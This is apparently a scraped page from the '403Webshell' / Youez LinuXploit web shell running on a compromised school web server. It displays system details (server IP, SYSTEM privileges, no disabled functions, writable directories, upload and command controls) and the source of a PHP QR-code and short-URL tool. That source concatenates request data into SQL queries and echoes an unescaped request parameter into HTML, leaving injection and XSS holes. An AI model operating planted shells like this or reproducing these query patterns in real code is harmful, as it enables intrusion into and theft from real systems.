403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/benjama/modules/webtool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/benjama/modules/webtool//qro.php
<?php    
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
//error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING);
error_reporting(E_ALL);
//print_r($_SESSION) ;

include dirname(__FILE__) .DIRECTORY_SEPARATOR.'phpqrcode' .DIRECTORY_SEPARATOR. "qrlib.php"; 
echo "<div style='padding : 10px;' >" ; //padding-left
echo " <h1> &nbsp gen QR Code</h1><hr/>";

    //set it to writable location, a place for temp generated PNG files
    $PNG_TEMP_DIR = dirname(__FILE__).DIRECTORY_SEPARATOR.'phpqrcode'.DIRECTORY_SEPARATOR.'temp'.DIRECTORY_SEPARATOR;
 
    //html PNG location prefix
    $WEB_DIR = explode(dirname($_SERVER["SCRIPT_FILENAME"]) , dirname(__FILE__). DIRECTORY_SEPARATOR) ;
    $WEB_DIR_SEP = ($WEB_DIR[1] == '/') ? "" : $WEB_DIR[1] ;
    echo dirname($_SERVER["SCRIPT_FILENAME"]) .'<br>';
    echo dirname(__FILE__) .'<br>';
    echo $WEB_DIR_SEP .'<br>';
    $PNG_WEB_DIR = $WEB_DIR_SEP . 'phpqrcode' .DIRECTORY_SEPARATOR.'temp' . DIRECTORY_SEPARATOR;

 
        //ofcourse we need rights to create temp dir
        if (!file_exists($PNG_TEMP_DIR))
            mkdir($PNG_TEMP_DIR);
    
    
    $filename = $PNG_TEMP_DIR.'test.png';

    $errorCorrectionLevel = 'H'; //Q H
    $matrixPointSize = 7;

    # รายการ ห้ามใช้
    $flist = array("ben" , "main", "salary");
    $sdata = '' ;
    //$dbs = New DB();
    //$dbs->connectdb('surl', DB_USERNAME, DB_PASSWORD);

    while($sdata == ''){
        $stmp = generateRandomString();
        if(in_array($stmp, $flist)) continue ;  # พบ รายการ ห้ามใช้ ไปทำใหม่
        if($db->num_rows('web_surl','shortURL',"shortURL='" . $stmp . "'") ==0) $sdata = $stmp ;
        //$sdata = $stmp ;
    }
    //print_r($db);

    $data = isset($_REQUEST['data'])? htmlspecialchars($_REQUEST['data']) : '' ;
    $sdata = isset($_REQUEST['sdata'])? htmlspecialchars($_REQUEST['sdata']) : $sdata ;
    $user = isset($_SESSION["user_user"]) ? $_SESSION["user_user"] : "" ;
    $imageString = '' ;
    if (isset($_REQUEST['data'])) { 
    
        //it's very important!
        if (trim($_REQUEST['data']) == '')             die('data cannot be empty! <a href="?">back</a>');
        //if (trim($_REQUEST['data']) == '')    $data = "https://ben.ac.th/main" ;  

        // user data
        $filename = $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png';
        //QRcode::png($data, $filename, $errorCorrectionLevel, $matrixPointSize, 2);   
        ob_start(); 
        //QRcode::png($data, null , $errorCorrectionLevel, $matrixPointSize, 2);   
        QRcode::png($data, null , $errorCorrectionLevel , $matrixPointSize , 2, true ); 
        //$imageString = base64_encode( ob_get_contents() );
        $imageString = ( ob_get_contents() );
        ob_end_clean();

        $QR = imagecreatefromstring($imageString);
        $logo = imagecreatefrompng(dirname(__FILE__). DIRECTORY_SEPARATOR . 'ben.png');

        /**
         *  Fix for the transparent background
         */
        imagecolortransparent($logo , imagecolorallocatealpha($logo , 0, 0, 0, 127));
        imagealphablending($logo , false);
        imagesavealpha($logo , true);

        $QR_width = imagesx($QR);
        $QR_height = imagesy($QR);

        $logo_width = imagesx($logo);
        $logo_height = imagesy($logo);

        // Scale logo to fit in the QR Code
        $logo_qr_width = (int) $QR_width/6;
        $scale = $logo_width/$logo_qr_width;
        $logo_qr_height = (int) $logo_height/$scale;

        $QRw = (int) ($QR_width - $logo_qr_width) /2 ;
        $QRh = (int) ($QR_height - $logo_qr_height) /2 ;

        imagecopyresampled($QR, $logo, $QRw, $QRh, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);

        // Save QR code again, but with logo on it
        ob_start(); 
        imagepng($QR);
        $imageString = base64_encode( ob_get_contents() );
        ob_end_clean();

        $imageString = "data:image/png;base64," . $imageString ;
        //echo $imageString ;
        
        //$res = $db->select_query('SELECT field FROM table WHERE where'); 
        //$row = $db->fetch($res);
        $sql = "SELECT * FROM web_surl WHERE longURL='" . $data . "'" ;
    	$res = $db->select_query($sql); 
        if($row = $db->fetch($res)){
            $sdata = $row['shortURL'] ;
            $imageString = $row['qrcode'] ;
        }
        else{ 
            $adata = array("shortURL"=> $sdata , "longURL" => $data ,"qrcode" => '' , "userID" => $user) ;
            $db->update_add("web_surl", $adata , "shortURL='" . $sdata . "'" ); 
            
            $myfile = fopen("data/" . $row['shortURL'] . ".txt", "w") or die("Unable to open file!");
            fwrite($myfile, $imageString);
            fclose($myfile);
        }   
    } 
    $imageString = isset($_REQUEST['qr']) && $_REQUEST['qr'] != '' ? ($_REQUEST['qr']) : $imageString ;
    //echo $imageString ;
       

    echo '<form action="" method="post">';
    echo 'URL :&nbsp;<input name="data" size=120 value="'.$data .'" placeholder="https://ben.ac.th/main" /><br>' ;
    echo 'short URL :&nbsp; <b>ben.ac.th/</b><input name="sdata" size=20 id=sdata value="'.$sdata .'" onkeyup="change(this)" />' ;
    echo '<input type=hidden name=qr value="' . $imageString . '" >' ;
    echo '<input type="submit" id="GENERATE" value="GENERATE">';
    echo "<div id=status></div>" ;
    echo '</form>' ;



    
    if (isset($_REQUEST['data'])) { 
        //display generated file
        //echo '<img src="'.$PNG_WEB_DIR.basename($filename).'" />';  
        echo '<img width=180 src="' . $imageString . '" >' ;
        echo '<br> &nbsp &nbsp <a href=https://ben.ac.th/' . $sdata . ' target=”_blank” id=urltest>ben.ac.th/' . $sdata .'</a><hr/>';
    }
    // benchmark
    //QRtools::timeBenchmark(); 

    echo "</div>" ;
    // end

    function generateRandomString($length = 4) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }

    ?>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>

<script>
        var sdat = document.getElementById("sdata");
        var butt = document.getElementById("GENERATE");
        var stat = document.getElementById("status");

    function set_enable(s){
        sdat.style.backgroundColor = "white";
        butt.disabled = false ;
        stat.innerHTML = s ;
        console.log(s) ;
    }
    function set_disable(s){
        sdat.style.backgroundColor = "red";
        butt.disabled = true ;  
        stat.innerHTML = s ;  
        console.log(s) ;    
    }

    function change(el){
        var v = el.value ;
        var u = '<?php echo  $user ; ?>' ;

        if(u.length <= 0 &&  v.length < 4 ) {
            set_disable("You not log in ?...  ถ้าจะใช้น้อยกว่า 4 ตัวอักษร ต้องเข้าสู่ระบบก่อน");
            return 0 ;
        }
        //var url = "https://myoffice.ben.ac.th/modules/webtool/surlapi.php?surl=" + v ;
        var url = window.location.href.split("index2.php?")[0];
            url += "/modules/webtool/surlapi.php?surl=" + v ;
        $.get( url , function(data, status){
            //alert("Data: " + data + "\nStatus: " + status);

            if(data.trim() == "yes"){
                set_enable('สามารถใช้ได้');
            }
            else{
                set_disable("Not able ซ้ำที่มีอยู่ในระบบ");
                console.log(status + url) ; 
            }
        });
    }

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit